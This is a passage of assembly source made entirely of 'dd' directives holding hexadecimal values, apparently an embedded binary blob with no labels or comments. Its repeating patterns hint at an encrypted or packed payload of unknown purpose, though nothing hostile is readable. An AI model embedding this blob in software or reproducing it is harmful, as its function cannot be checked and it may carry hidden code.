956A0E3Ch, 0B3E7B75Ah, 5FAE96Ch, 1928B228h, 7E6E0000h dd 0BFAF44E3h, 906A8120h, 0C2B146E9h, 86738827h, 871D40DFh dd 0E9882F4Ah, 0A443E612h, 0E07F1E4Fh, 0A649EC0Bh, 0CB129134h dd 0A638D632h, 0DC1BFDC5h, 0E37A9C39h, 0DE25FE6h, 0A6A441E0h dd 77451116h, 0DF7FC80Dh, 0F547505Ah, 412F04C4h, 9872647h dd 0FE3ADE6Ch, 412E0588h, 0A549019Eh, 72F7F286h, 8857DEEBh dd 292CCC6Fh, 11BF34AAh, 0BEAC73Dh, 936AE96Ch, 0EECD01BFh dd 6AE1DA58h, 0CE44E889h, 58F7F6CDh, 0B5B68BBFh, 29CD7D1Ah dd 0DD6262F7h, 0C84F701Ch, 0D053D573h, 725C8153h, 0D36CDA32h dd 48CBFE43h, 9F47D7CBh, 5BE26834h, 0D58059D6h, 69DFD498h dd 30FF82C5h, 3F0BA447h, 8A2D4A9Fh, 44E710E7h, 523F5874h dd 33A7685Ah, 1856h, 9235D09Ch, 0EF92313Dh, 9C3BE218h dd 0E6892447h, 9E41E811h, 0D1A829BBh, 8870872Ah, 0C0AD42E5h dd 8E697E21h, 0FB9A4CEBh, 0D62D6574h, 8F33FC38h, 9C39DC1Bh dd 5FE6E37Ah, 0E6A356E2h, 7B14B7C0h, 39DB43CFh, 3630F599h dd 29C4F5A7h, 5E68FC9Bh, 8209C005h, 10839BFDh, 179E2C3Dh dd 0F18E2D48h, 8B00B559h, 0B8C9D231h, 0F97C4D94h, 0F4EE687Ah dd 0CE55F3A4h, 15D78F4Ah, 0A5493653h, 96338A8Ch, 0A9AC900Fh dd 0C5439D12h, 0D586713Eh, 4097B62Fh, 0C29C284Fh, 0B9E23D64h dd 0C116B937h, 234313B6h, 0DE3C88Dh, 17AC5A80h, 2F20000h dd 4333C867h, 4EE05A4h, 4625BA5Dh, 0FAF70CABh, 0B91B453h dd 6504ABC6h, 20BF628Eh, 6C0BAACBh, 12B55897h, 5F9E25A0h dd 3238D62Ch, 0DC1B8939h, 0E37A9C39h, 48E05FE6h, 27C4E9B7h dd 2A451AA1h, 0D765E887h, 0F2159AB1h, 0B1A8DA82h, 41903D10h dd 6C0BEABFh, 0D90687CCh, 0DA63C729h, 741B04D9h, 0C749732Dh dd 88972528h, 0A768F05Eh, 983B350Eh, 7114E3F8h, 0C4055CCEh dd 576AC241h, 7F053D08h, 0A84727FCh, 6504F209h, 0C8A67DC8h dd 87708529h, 1E414E4h, 0DBB443C1h, 170DFFh, 86215300h dd 43E20CE3h, 7C234FA4h, 4AE506DDh, 822950A7h, 69687ADFh dd 0B146E990h, 6E8524C7h, 0AA41E07Fh, 53872ACDh, 2CAA33B0h dd 0E4C538D6h, 22A73E5Eh, 0B794149Bh, 0BD4BC4E9h, 0E68E6936h dd 0CA15E46Bh, 0DE6CC729h, 29CA8455h, 0EB6DDBC7h, 427FDA4Ch dd 0CA5134BBh, 42C8C729h, 0CA5C9EA5h, 0D7C5C729h, 6CB62E98h dd 4916FC66h, 0EDE68A31h, 4Fh, 0BB6C8B58h, 4CF03088h, 17B032F3h dd 6D8D9333h, 12B65996h, 0E96C55E0h, 0C87D6F6Ah, 0DC14EB3Eh dd 0D47118E2h, 0D854F476h, 6B6ED572h, 943EC87Dh, 0C7FD67EAh dd 910284B5h, 13h, 7D916BF1h, 2DB43EC8h, 389A199Ch, 0A3C4F579h dd 3EBC8225h, 7ABCBA7h, 0C87D7188h, 0F87A103Eh, 7DEFEE75h dd 4823EC8h, 280FF86h, 96C4F545h, 350EADC9h, 35F1953Ch dd 77774CCFh, 14DF38D8h, 429938DBh, 0FEF59235h, 84B34CF3h dd 2552D79Ah, 0EF08DF82h, 0DE63B34Ch, 66ED68EBh, 0C72C9597h dd 79BC5CEAh, 11B7DCFAh, 26C93F3Dh, 8003A6D1h, 0A3CCC2B3h dd 65E58200h, 6DD68C1h, 9CAE47EAh, 134737FCh, 5BC34558h dd 0BD608F14h, 7AAC51Ah, 7B820184h, 16455B5Dh, 0BC3710B0h dd 0B9114AFh, 2732C846h, 122BCB10h, 0FE83CEF8h, 54AB4EF1h dd 67F5781Bh, 0FF13C66Bh, 38D1756Fh, 3B3487DEh, 6A52AD59h dd 9C23AA28h, 0BF662012h, 4EED08E5h, 99D62DCCh, 5E9A59F6h dd 8C6B38BBh, 4BEC45E9h, 0F108870Ah, 904BB038h, 0A5AC56FAh dd 31B45720h, 0ABF284ABh, 0FC9A2ACDh, 0D2A17A49h, 0CAC9E37h dd 0F699D62Dh, 0EA69EC59h, 4BB09B13h, 9B11E867h, 0DA704BB0h dd 0EA69EC5Ah, 4BB09B13h, 0C638D86Eh, 3CC34A7Fh, 0B18D97C6h dd 4A3C652h, 414C8D12h, 0A5235195h, 0BDD1C715h, 8A71D19h dd 0DD846E45h, 28CBA439h, 7721B48Fh, 44DAA195h, 2CCFA82Dh dd 764DC88Dh, 1139D679h, 95777188h, 50231061h, 0B03218B5h dd 5BFAFB10h, 7D65DD8h, 5A619577h, 0F34CECh, 0A6B552F9h dd 0F9F479F8h, 9D72B75Ah, 0FCA733CEh, 258B8490h, 57966B0Bh dd 0A2261FB8h, 207DD807h, 707D5645h, 9BD82DD1h, 4ED06700h dd 0D06F7E03h, 0FC9BDA31h, 0B1A8F379h, 0CA6D54C0h, 0B4090D26h dd 0B9C18E15h, 31D57512h, 0C01371EEh, 0FE8C9BA8h, 0CDA2A961h dd 0E56502A1h, 1398D741h, 4FA443E2h, 13E07D20h, 0E5BA41E4h dd 6EC7670Ah, 0A92E41EDh, 928C2BCEh, 5BC71F5Ah, 2CFCh dd 0DA1B8600h, 0ED74A23Bh, 48CA6985h, 72243EC5h, 0D137C4F5h dd 2BC02Eh, 981D0000h, 2C8EC21Bh, 9D229DC7h, 0C72C8E5Ch dd 73139533h, 3BDA1BADh, 6C0BEBB8h, 3ED777D3h, 0C54881D8h dd 0F5779C3Eh, 7619AFC4h, 0D16A9CB0h, 3BB63D8Ch, 42E68D64h dd 0F5599BFDh, 0A59E2CC4h, 0F999DF1Eh, 97D4ABD3h, 12E763FCh dd 9FAB44E3h, 11B80DFFh, 97FF058Ah, 0A80C1C4h, 0B514A96Dh dd 3CCDB12Eh, 0DF623BE2h, 1F32B759h, 20A96133h, 0C633A6D9h dd 4DD052B8h, 33D67976h, 0C22D39Ch, 6A967CC5h, 0B0BE9210h dd 9448F941h, 13C4DFFBh, 0EA0A0000h, 1B5BB04Fh, 0EC06DD7Ch dd 1E4DA245h, 0E20FE483h, 23B99C3Bh, 7D1CC3AEh, 48E78A66h dd 8423C2B3h, 3ADD806Fh, 77860D88h, 0A38D628h, 926BA121h dd 0B73EC87Eh, 9F24A722h, 3B0AB3E1h, 8251D472h, 9E35D473h dd 5C9730CFh, 0DC20F093h, 0AC49E667h, 136CF7E3h, 0C2B20000h dd 83738827h, 0C4AE45E4h, 86657A1Dh, 0BAB74CEBh, 0CBD17413h dd 0A544EB06h, 0E07F224Eh, 0AC4BEA0Bh, 0D2751857h, 1FDE65E0h dd 7238D628h, 0A73EC979h, 7D47961Dh, 0AC1A3EC8h, 6E28A72Eh dd 0F1C4F54Ch, 7E55D053h, 0D82DD170h, 8B60FF9Eh, 0C033CC6Bh dd 8F7B14B7h, 69850A65h, 41BE43CAh, 0C72C8CB8h, 6ECD71D7h dd 0DC64C51Ah, 5A9B68EBh, 882822BBh, 0E18E6853h, 0B4E38763h dd 90694282h, 7CFE4CE9h, 0C79A60E3h, 67DAC72Ch, 97636198h dd 75F357F0h, 0A32827D1h, 3E9534D3h, 22F49130h, 28A72E9Bh dd 3D0D0DB4h, 6936BD4Bh, 0E3ADD8Eh, 99DDDDB2h, 94637817h dd 7BC254F1h, 5DE2AB40h, 4821589Bh, 59F18E2Dh, 9CCF54D7h dd 0CF372F69h, 12DDB239h, 3C3BD06Fh, 0C31AFC99h, 7D027F06h dd 0D360E87Ch, 4ED17513h, 51F4FCD3h, 2DF296B4h, 295DE723h dd 98C29634h, 64578F1Fh, 126C0FCBh, 0C2B20000h, 83738827h dd 0C4AE45E4h, 86657A1Dh, 0BAB74CEBh, 0CBD17413h, 0A544EB06h dd 0E07F224Eh, 0AC4BEA0Bh, 0D2751857h, 1FDE65E0h, 7238D62Bh dd 656BC979h, 0EF3EC87Dh, 7DECED72h, 0F77C3EC8h, 3EC87DE6h dd 0F98F0B79h, 12B65520h, 6E11B0BDh, 21A425BCh, 0FCA3CFA4h dd 247E763h, 0C4E9B671h, 0FA038005h, 95C729CAh, 35D38F2Fh dd 7219E1AEh, 0E86D87CFh, 0C87D926Bh, 0B757ED3Eh, 48E073Dh dd 1505103h, 3EB10000h, 6D9A20A5h, 3BDA1BE8h, 7D44969Bh dd 43103EC8h, 4FFB9433h, 5BE563AFh, 2846E56Dh, 1DA23EF8h dd 0DACC996h, 0F036DA70h, 0A63EE773h, 4FFB9721h, 848DCE36h dd 60A805h, 3E1A0000h, 429B18A2h, 0C43EC87Dh, 0EE8A0AA9h dd 0BF19EA53h, 0B533B596h, 1BE86D2Bh, 0AAA03DD8h, 7DBB4106h dd 36D43EC8h, 1BE86DACh, 2FB437DEh, 3EC87DAEh, 9DA343C1h dd 0B538DF1Bh, 7D2AB330h, 0BA453EC8h, 0C87DA435h, 0CB4DBB3Eh dd 56FC252Bh, 2C02h, 6B845B00h, 461B2FC8h, 5FEB842Bh, 0A23E79BFh dd 0E66D931Dh, 3EC87D14h, 6DA73117h, 38DF1BE5h, 6BE86DB2h dd 3EC87D92h, 3B757EDh, 8DCE367Dh, 5BA80584h, 1A000000h dd 9A21A63Eh, 0DE65C60Eh, 6303988Fh, 1BE86DDDh, 0A09C39DCh dd 0AA64E66Ch, 0AAE2CCBh, 0C831B745h, 0C03BC13Eh, 81BB283Eh dd 0D47B764Bh, 892F834h, 966DE86Dh, 0AC2DB659h, 0C33EC87Dh dd 6D9BA145h, 7D926BE8h, 57ED3EC8h, 0B55422B7h, 5B966D2Bh dd 22A014B4h, 2B02h, 0A63E5800h, 0E66D9721h, 3EC87D14h dd 6DA73117h, 3ADD1BE8h, 4309AD9Dh, 0BA55966Dh, 16B5C116h dd 57DF6D8Ch, 8996CFEAh, 0AE548828h, 0FFFE9D02h, 0A73E58FFh dd 0F20D9B22h, 0FDFC8392h, 943EC8D6h, 0EF7166F6h, 61DE6105h dd 0C4E9BEC9h, 0C69D20A6h, 0AF6306A9h, 9B189B26h, 0C729C242h dd 350EA71Dh, 0C729C25Ah, 3CA6A953h, 0FC667504h, 4252h dd 966BB000h, 0E23EC87Dh, 993DE40Dh, 0E9882B44h, 0C87D9862h dd 0EA69EC3Eh, 3EC87D13h, 0C638D86Eh, 3EC34A7Fh, 7DBD3CC3h dd 36D43EC8h, 7DA930AFh, 42C83EC8h, 52E3999Eh, 0E7CC4F5h dd 0AC7B6Bh, 3ED50000h, 149B22A7h, 0C4F4AC36h, 1D981BA9h dd 0FC882746h, 2D20C078h, 0F80DB187h, 24BB5EFDh, 90DAA49h dd 138E15B4h, 0F491343Ch, 316DB256h, 0A63D0DF6h, 0B60F9D20h dd 74F7BA2Dh, 0F16EEB9Dh, 0C2E74961h, 0D3CBC3Dh, 0B335D3CDh dd 32431013h, 0EDFF493h, 0F940D66Fh, 49C64DD0h, 0CC372CF4h dd 0FE8B73Eh, 9963E96Ch, 0EF3C0D4Ah, 687F9E42h, 341CEC8Fh dd 945DA450h, 0F9CDFFBh, 12E20000h, 0F303D877h, 541EB554h dd 0F6F50AADh, 4A27BC5Bh, 3B6104A3h, 15B45B96h, 700FB2BEh dd 1CBB5A9Bh, 6205A8C7h, 8F4ED570h, 0E238D624h, 966D3909h dd 0DA19B659h, 0E961FE99h, 9E5FE467h, 0F13EC87Dh, 511EB353h dd 15E211AEh, 0D886D572h, 38DB1499h, 0B5E75D99h, 33710284h dd 0D1000000h, 0B857966Dh, 998B2B1Fh, 81FE8544h, 0C4F55173h dd 12E17E0Ch, 36BB42E5h, 2CA920B9h, 25C93FC7h, 6306F106h dd 0D4F54CCAh, 78F8D251h, 0D5733D10h, 0E86DEC32h, 0B039DC1Bh dd 3EC87D29h, 0C91EC248h, 946B0EADh, 2322BB5Ah, 0E383224Ch dd 0C87D665Eh, 28D5A03Eh, 0C13E48B3h, 3EC80C38h, 8B61F157h dd 0E88709F0h, 931AAF36h, 0E99CB00Ch, 1AA127C4h, 0E3862D45h dd 6BE86D5Bh, 3EC87D92h, 3DB757EDh, 3048E07h, 5CFFF8C7h dd 14603BCh, 3E7F0000h, 19961BA5h, 3EC87DC0h, 59A0299Fh dd 383EC87Dh, 65AE42D2h, 5D30E956h, 966D55DBh, 2B1FB857h dd 0B14BC88Bh, 7A3EC87Dh, 0E86D068Ch, 7D17E66Dh, 0DC6A3EC8h dd 0C87D8657h, 0CB6BD93Eh, 28460A88h, 1DA23EF8h, 0BAEC996h dd 0E773E56Bh, 9721A63Eh, 0CE364FFBh, 0A805848Dh, 47h dd 18A23E1Ah, 0C87D429Bh, 29A71D3Eh, 0FBA3CDA2h, 0C87D6574h dd 0C8EFC3Eh, 0E66DE66Ch, 3EC87D14h, 6D57E167h, 64E86DE5h dd 0FA2AF3BEh, 0EAF378DEh, 2C3EC822h, 3F0BA43Fh, 4CA145C3h dd 0FCF97F26h, 1B0256h, 3E580000h, 0C9961DA2h, 0E96F0FAAh dd 7D14E66Dh, 31173EC8h, 1BE56DA7h, 0FCB238DFh, 8DCE3656h dd 9A1E0584h, 0F701C25Ah, 38FBB54h, 8828B86Eh, 454Fh, 0A63EB300h dd 0E86D9721h, 0AE35DD1Bh, 3EC87D2Fh, 0A946C442h, 0A238FDA1h dd 0BD3EC87Dh, 0DF6DC147h, 859F4627h, 0D457F7B7h, 53DF6D4Eh dd 0E0877226h, 86F25954h, 1B2FC867h, 0AE4F99Dh, 56FCE56Bh dd 2502h, 0A63E5800h, 0E66D9721h, 3EC87D14h, 56A72C17h dd 293EC87Dh, 6D931D9Bh, 1BB45B96h, 46CC8F2Fh, 0B63CDB1Bh dd 0A20256FCh, 58FFFFFEh, 9B22A73Eh, 31F8ADC4h, 0A32C5756h dd 0C38720A2h, 0BA32023h, 0DDC4E9F2h, 0CB6A8B58h, 4A931832h dd 25C72986h, 0C543FF9Fh, 0E487713Eh, 0DC5FFF4Bh, 0A245E807h dd 59DCE570h, 298603DAh, 4FE85EC7h, 29861BF4h, 0AB4625C7h dd 7514E112h, 962FD69Ch, 0D9074A74h, 0D03A15EFh, 0FC66B098h dd 2EBEh, 966B4400h, 903EC87Dh, 0B940BF67h, 0D83EC87Dh dd 9564EB72h, 0EC3EC87Dh, 0D359DC5Eh, 194B0EDBh, 771E54FAh dd 4AEE6CDEh, 0E2FBEBh, 3E550000h, 0C49B22A7h, 0D8720BAAh dd 2C6EF538h, 0B8C4F557h, 0D36C0BEBh, 0EC50EB77h, 587D6618h dd 870E7CB8h, 7B1EBDB8h, 63EA8964h, 23C3628Ch, 14B50C0Ah dd 9921291h, 79463D0Dh, 0FF3BDB7Eh, 27954632h, 162F8F5Bh dd 1B2AC345h, 0E6B4594h, 2CAE1CCDh, 1EAA27AEh, 0DD02A78Ah dd 36658BB4h, 0EBBDD35Fh, 33429737h, 0E38B1194h, 0E2F8D32Eh dd 0A43BDA7Eh, 898D2AC9h, 902F3E34h, 4ED553F7h, 6BF845D3h dd 5DD01980h, 5D1B74B9h, 0A877372Fh, 0B8922BD2h, 27AE1C18h dd 9C451EAAh, 0F194132Bh, 1CBFB84Dh, 0E689667Dh, 0AA3C3412h dd 2BAF805Dh, 0C2Ah, 46E98470h, 8326C5B1h, 40DF866Ch, 8A2DC8ABh dd 32D57C75h, 2D448D0Fh, 0E40CE386h, 2C499E41h, 0DA15EA8Dh dd 9F269837h, 0D621D920h, 4BF7B838h, 8308DF6Dh, 0FB5C7B80h dd 0C669865Bh, 0AADCA29h, 0C968866Dh, 4ABC72Ch, 0F62CC6Bh dd 31CE698Ah, 7C2A9719h, 0E48770F5h, 9E5FE461h, 0F13EC8E9h dd 9A54B353h, 2854A22h, 5534h, 0A73E8E00h, 8A149B22h, 4DC4F557h dd 9AD51EB7h, 0CA879AE9h, 6842AEEh, 0BB638C63h, 2C2EA534h dd 0CC4EBCC7h, 665EE333h, 2C2E10E9h, 57D96FC7h, 4CD4FD4h dd 1A973D11h, 54C11897h, 2AA0CD01h, 15458A1h, 2DD137CDh dd 90333C31h, 15EA6F12h, 0AD9D3AD9h, 0DB1B4309h, 0B0969D3Ch dd 0CA3EC87Dh, 3890CABh, 0D61BC56Bh, 0DD7C7994h, 0AA5CBB5Bh dd 0F7E3A813h, 89E7285h, 6C75038Ah, 36F814B7h, 0E4D09270h dd 4D55D958h, 0A229A6A9h, 3DC4E925h, 803818B9h, 0DF61F71Dh dd 0C46B875Ch, 0DF6D1D25h, 5973C9FBh, 0AA9C48Ah, 0B62EE888h dd 0A0030543h, 192h, 0DA23A025h, 0B53E48CBh, 3EA9AF4Fh dd 189D20A5h, 0C87D429Bh, 7A71D3Eh, 14E66D41h, 173EC87Dh dd 0E56DA731h, 0B659966Dh, 3666E812h, 931DA23Eh, 0A63EE773h dd 0ADC59A21h, 5AE16906h, 0C87D04D5h, 49ED5B3Eh, 364FFB03h dd 5848DCEh, 0DD1CA31Eh, 0B43DC87Dh, 57397216h, 0C9000000h dd 1EE3DF6Dh, 4284C44Bh, 0A8D740B2h, 0F59978E5h, 7F06B903h dd 88BEA1F9h, 983DCD70h, 74BA5E2Bh, 0DD1BE86Dh, 0AD2CB33Ah dd 0C43EC87Dh, 5F9DA246h, 303EC87Dh, 966D109Ah, 0AC2DB25Ah dd 0C33EC87Dh, 2023C345h, 9FCEA5h, 0DF1BDA60h, 56FCB238h dd 4F02h, 966D5800h, 0F695605Ah, 0D66FF159h, 9622D474h dd 966D9F29h, 1417B75Ah, 0C87D4D8Fh, 0CC53CE3Eh, 3EC87D0Dh dd 0E164E664h, 0A845E412h, 7DC7169Dh, 2C9A3EC8h, 6D440AAEh dd 6BE86DE5h, 3EC87D92h, 22B757EDh, 0CAD8A358h, 21BE9DD0h dd 56FC199Fh, 0B45B966Dh, 8D72DA14h, 33E40584h, 5E000000h dd 9721A63Eh, 7D14E66Dh, 0E1673EC8h, 0C968855Ah, 0B47A1E2Ch dd 0DB1BE56Dh, 0DF6DB63Ch, 4C953431h, 7CB242B3h, 0C10BECDDh dd 69E7DB7Bh, 4B02h, 0DF6D5800h, 8301F08Dh, 0BB6D11CEh dd 8D284B25h, 52D85AF0h, 926BE86Dh, 0ED3EC87Dh, 0B956F500h dd 3D3A0F91h, 0AC33F69Ah, 3EC87D2Eh, 31D49CF1h, 0FC7E1D58h dd 1BE56D76h, 6DB63CDBh, 1CB95896h, 7D53AA29h, 982E3EC8h dd 0BC42761Ah, 0FFFE5902h, 0A73E58FFh, 94149B22h, 4BC4E9B7h dd 0E4BB36BDh, 6DCF680Bh, 4BD01198h, 0C96DEB29h, 1A8A3B34h dd 0EE058A51h, 0BE5F181h, 0FA7E847Dh, 501EF578h, 0FC2E0DB1h dd 56DD6061h, 0C729C387h, 70D36CDAh, 0C729C397h, 8A23C6B1h dd 50ED8C69h, 0C0450CBAh, 0AB9513BAh, 0DC147ED1h, 7AFC6673h dd 24h, 0F009860Bh, 36C729CBh, 4BFF9837h, 8F9539CFh, 0C87D966Bh dd 0C467903Eh, 0D5B525h, 410E0000h, 2CF29635h, 961DA73Eh dd 3EC87D47h, 0A72EAC1Ah, 0F5706E28h, 0DC15EAC4h, 1A5B9835h dd 0DD59FD7Bh, 0DE0FE467h, 0D7700BE8h, 7D52F573h, 0E234D170h dd 68E76E5Bh, 3D0D42C4h, 0D9A62D9Bh, 0CFC9A69Ch, 0E17EFCA3h dd 0B348E769h, 0BB8A23C2h, 0D36C07E4h, 34D3A277h, 1D0FAF9Bh dd 6677FCC8h, 0F9CD0ED6h, 0B860D8Bh, 0ED67584h, 7F7E05CDh dd 12CD0ED6h, 0EE92F874h, 1E6BE46Bh, 1EE372Fh, 4DD052F9h dd 5AFDFBC8h, 953C36BDh, 915E7313h, 0BBB44BEEh, 0AEBFB5C1h dd 3F0F910Fh, 5DAAFBC5h, 57904AE3h, 9D000008h, 3E9534CFh dd 19EE9130h, 40973AE1h, 0E2F99833h, 0ACD17017h, 0F79EDBF6h dd 0D2758358h, 0FE9DD82Fh, 0C86B845Bh, 910EB529h, 38D61D48h dd 6D7C4627h, 0CEBD5ADFh, 0F4941B1Eh, 0D06D10DFh, 30CF9E75h dd 0BE13B397h, 0EA710EB1h, 4BB3D563h, 2E86B81Bh, 4CD1A08Ah dd 25E18023h, 28552AFh, 0E7B7991Fh, 95871F1Fh, 4DB7C05h dd 65095D8Dh, 676Ch, 0F00AD900h, 3E9FA549h, 0FCADCBA7h dd 43C855A0h, 9835B3B7h, 0D6AD30B2h, 0D154F49Bh, 0F52C4452h dd 0E9510C4h, 0C72D2CCFh, 0C88424A2h, 0CC690CEBh, 0FC79FC7Eh dd 2D2C6677h, 0EB8BF9C7h, 2CECF152h, 6B19C72Dh, 3427AE4h dd 0B58AFC6Ah, 14B7C1BBh, 0AD51F996h, 3F34h, 0B5C29100h dd 0EAC77512h, 0E36C4E60h, 6AF09012h, 9B22A73Eh, 7D409916h dd 521F3EC8h, 66E48128h, 820144E4h, 0C4F55330h, 53A03DCBh dd 9DE8124h, 64B24BEEh, 0EA69ECDDh, 3D11A2ACh, 0B07619AFh dd 78CD6E9Ch, 0D345CA51h, 64C4F559h, 3DBB628Fh, 6D63BF44h dd 27BE87B5h, 4E941BA2h, 11FD9BC3h, 0EE75F073h, 0D9B1BEFh dd 0CB640482h, 50D3F64Bh, 0A7C0EFD3h, 8FF379F7h, 0DD7AD7ADh dd 7A104CECh, 87EA6EF3h, 3C8EEDF5h, 0C0AF44E4h, 595E550Fh dd 66E4486Eh, 0C9B17EC3h, 8E697E22h, 0D82B1BEBh, 98759D3Ah dd 6E542h, 0AE492B00h, 5BFAF40Bh, 0A44B27BCh, 62FDEE05h dd 0AA5128BFh, 91406207h, 0C91EC168h, 966D0CAFh, 0C219B857h dd 7B6F12B5h, 1C825BD8h, 0CDD38D6h, 39DC1B36h, 9CDAA99Ch dd 6E8459FDh, 6003EDC2h, 0FFFE83C7h, 923EC87Dh, 1FD376F4h dd 27AC2F9Ah, 0C4E9B783h, 0DA19B654h dd 0E325F9A0h, 0D549E32Fh, 680A238h, 0A6C60000h, 57976C0Bh dd 0B8C219B8h, 5A996E11h, 0AECB20BFh, 0DF056807h, 0C16007F2h dd 0CAB4E2Ah, 0B857F6F7h, 0EB15423h, 23BA39DCh, 3E38D61Fh dd 0A73ED56Dh, 9C149B22h, 3CC4E9B7h, 4EE78667h, 6AE05CFCh dd 4E4C26CDh, 63E7801Fh, 2F0D11E5h, 0D65749E3h, 62904h dd 0E27D6F00h, 2FCEA83Fh, 0D87F7B90h, 36D1A239h, 8E353C93h dd 7D5486EBh, 0D52ACD74h, 8259F89Bh, 9E35D473h, 578B2ED1h dd 1FA637BCh, 0F0B938D6h, 0CBA73E52h, 0DC6E07AEh, 0F008D75Eh dd 29A6A94Dh, 0C4E9B78Dh, 0B3B6A652h, 0ACEAE63Eh, 0A2D8A72Eh dd 31C25BFBh, 5ECEA249h, 2A49E395h, 5C87565h, 0DE0E0000h dd 1F4FA443h, 0F00AE180h, 2251A649h, 0E613E887h, 27BDA03Fh dd 8928CFAAh, 44E38672h, 801FBEAFh, 46E98C6Bh, 6B72F194h dd 638D61Eh, 0DC1B9D25h, 0F67413E2h, 0AC5D9A59h, 3F5016A8h dd 0EE8D6858h, 0F977F951h, 0FC53DB5Ch, 0BEA843C9h, 67B9060h dd 68628D62h, 0C3629391h, 2D4BA845h, 0E78A088Ah, 0AB44E710h dd 0C8C14298h, 0BAAC43Eh, 80728172h, 0C3ED776h, 9F3F18Eh dd 14B7C146h, 501FFB96h, 6609ACCBh, 199C2DB4h, 0E90B269Ah dd 0C84BB9C4h, 0B659FCFBh, 6BA55621h, 376213D2h, 0CF6E7F54h dd 0C291B451h, 0BE7010B7h, 961BA227h, 6F0FAAC9h, 0BC681EAh dd 0E76EDC3Dh, 0DEF06D61h, 0C759861h, 191F7CDh, 0F39319DDh dd 0F1946330h, 0C27D0B4Eh, 0B0A5AA88h, 4F28BD61h, 0A63213ACh dd 4D9EB9D6h, 20B9436Fh, 0ED76AF3Bh, 9F463308h, 11B80DFFh dd 597B058Ah, 8EFC3731h, 0AB8610BAh, 77632C5Dh, 4C2h, 0AE51EC08h dd 0DB7E1D59h, 0A847EE04h, 0E2852053h, 9A3DE40Dh, 0C5AC25B7h dd 8C647B1Eh, 0C4B146E9h, 826D8225h, 78E40DFh, 0D6197188h dd 0A31F1038h, 9C39DC1Bh, 0EE751857h, 7DEDEC73h, 6843EC8h dd 0A4FC362h, 15B73CBFh, 6C4F559h, 995CE780h, 86C72CA1h dd 0F96FD998h, 5FFC6991h, 80h, 0DA7F62E6h, 0B658C0E5h dd 0A73E0C12h, 9B169B22h, 0C87DC514h, 0A52E9C3Eh, 3EC87D54h dd 3523511Bh, 0E46018AAh, 27FC266h, 6CF9007Fh, 32983EC8h dd 0BFEBC98Eh, 7F74C4F4h, 1337D06Fh, 9DCA1390h, 1FA5C72Ch dd 724104A1h, 347E087h, 9D1BDE63h, 0D815C72Ch, 0DA7316E2h dd 9E55F270h, 4E962FD2h, 9177A5ACh, 7AF25CF3h, 52FC6991h dd 44CB737Dh, 0C72C91B5h, 23BC3ECCh, 0E84E8727h, 0B4000000h dd 9C39DC1Bh, 0DA731A57h, 0A23BDE19h, 58A11EA3h, 373EC87Dh dd 9FD82DD1h, 54D85DFCh, 39B2C036h, 0B936BDFFh, 3EC84A20h dd 2025C93Fh, 3EC84E18h, 6A7F6CF0h, 1AFB5CE9h, 0EE966176h dd 0C8416871h, 0FF81073Eh, 0C96C8B60h, 7653EA2Ch, 62BA70EFh dd 0CF35C4F5h, 0D776774Ch, 0CD6C0C3Eh, 3EC50459h, 13CF68C1h dd 0FA81073Dh, 2BD2A877h, 9D22BA8h, 17ADCD0Fh, 0F0976277h dd 0B75A966Dh, 16E3F817h, 0A13EDD18h, 4A7D0A9h, 8D61DF6Bh dd 43C5ECF3h, 4BA238D5h, 91000003h, 0D229C863h, 8D6205A4h dd 0C41BBE65h, 966D0CA7h, 3015B45Bh, 0A34A27AAh, 5E01EF04h dd 0AA4924BBh, 6407F007h, 0ED7211C5h, 38D618ECh, 1B18AA83h dd 959837DEh, 6D11B0BEh, 89655F98h, 60E568EAh, 27C06793h dd 7D5F9E23h, 94323EC8h, 3E0D15F4h, 149B22A7h, 0C4F4AE1Eh dd 45C043C1h, 43DC836Eh, 0B27B8207h, 0A216C72Ch, 404DD84h dd 701092E8h, 5D696CD7h, 0F96C72Ch, 10DDA889h, 9C28D696h dd 9C9D403Bh, 947E2286h, 701D53BDh, 0CB3BFC69h, 0C7000000h dd 605A966Dh, 0DA73F598h, 3C3BD070h, 0FAF7FC99h, 0B750F3FCh dd 482D6085h, 7EFC628Ah, 0D8E063FCh, 5E3EC82Ch, 0B7569791h dd 0BBA01E1Eh, 835DF308h, 0FE48305h, 6908E6E0h, 71C84EE7h dd 0F1FED558h, 0F599B14Eh, 0C0FFAD32h, 0DA70C4F5h, 4B7EC337h dd 0A51D4BC8h, 9A173D13h, 0FA7C415h, 892D9BCDh, 28B437CDh dd 7715DA53h, 86C96DF1h, 7619C0B9h, 7114DCB3h, 9A4138CDh dd 0C5BE30C6h, 0AF2B0443h, 232h, 3EE17C78h, 8B2ECDA9h dd 38D77E74h, 9235D0A3h, 0EA8D343Dh, 757C5587h, 9CD42BCEh dd 748156F9h, 0D29D32D5h, 0B75E902Fh, 0D61BA138h, 53EFC038h dd 0AD32DE1Bh, 3EC87D2Ch, 0A443C543h, 0DA7D204Fh, 0CA718857h dd 0DC1B2026h, 12DDB239h, 0F06FD66Fh, 3EC87DE9h, 0E0800288h dd 4931FE47h, 9872E4Bh, 0A53ADE6Ch, 968827CAh, 6CF37A4Fh dd 0C4F55FA2h, 0D36CF35h, 0C72CA3C8h, 9E084735h, 0FC699426h dd 202222A6h, 0AF8F23A2h, 3CD60Fh, 3E2C0000h, 0D9B22A7h dd 816E16F6h, 0CE51F5B6h, 0F821C553h, 58415A89h, 2BC973B8h dd 0E462C4F5h, 31E5F84Bh, 7412C72Dh, 0FDFD73DDh, 54D1FC69h dd 2D3D0ECFh, 43E361C7h, 588Ah, 916BF800h, 0E33EC87Dh dd 7D18E15Eh, 11773EC8h, 82F4058Ah, 0FD8BC137h, 0B712A759h dd 0AF34B134h, 0C137822Eh, 0BF3EC341h, 0D2C13782h, 12919434h dd 3B0AB84Ch, 475E9418h, 1AA09C4Ah, 26CD0C93h, 26A4C72Ch dd 0A140C682h, 20D2109Ch, 0A7AE41D6h, 0C1F7306Fh, 9135B354h dd 22A73E8Bh, 149B169Bh, 3EC87DC5h, 4958209Ch, 744E0250h dd 23CD52F6h, 34C4F5C8h, 0B74AF996h, 71C72D10h, 0AB48E584h dd 0FA99D5CBh, 0D658DF78h, 0B9634D7Bh, 23144CB6h, 0EBB8FC6Ah dd 78D26B0Ah, 8D31D4A3h, 1354h, 966BAE00h, 0B33EC87Dh dd 9B189B2Eh, 0C4F547C5h, 0C9913096h, 9B22A73Eh, 3C5C9216h dd 0BB3B464Ch, 0C87EA534h, 0CC4EBC3Eh, 0B46B272Ch, 5EECC4E9h dd 4B4532C1h, 0C9B18A2Dh, 43C58522h, 6F204FA4h, 472BC943h dd 0A23BBDC6h, 99BF62A1h, 23CBA424h, 999F5D9Ch, 149634E2h dd 0DC7F787Bh, 0A845E807h, 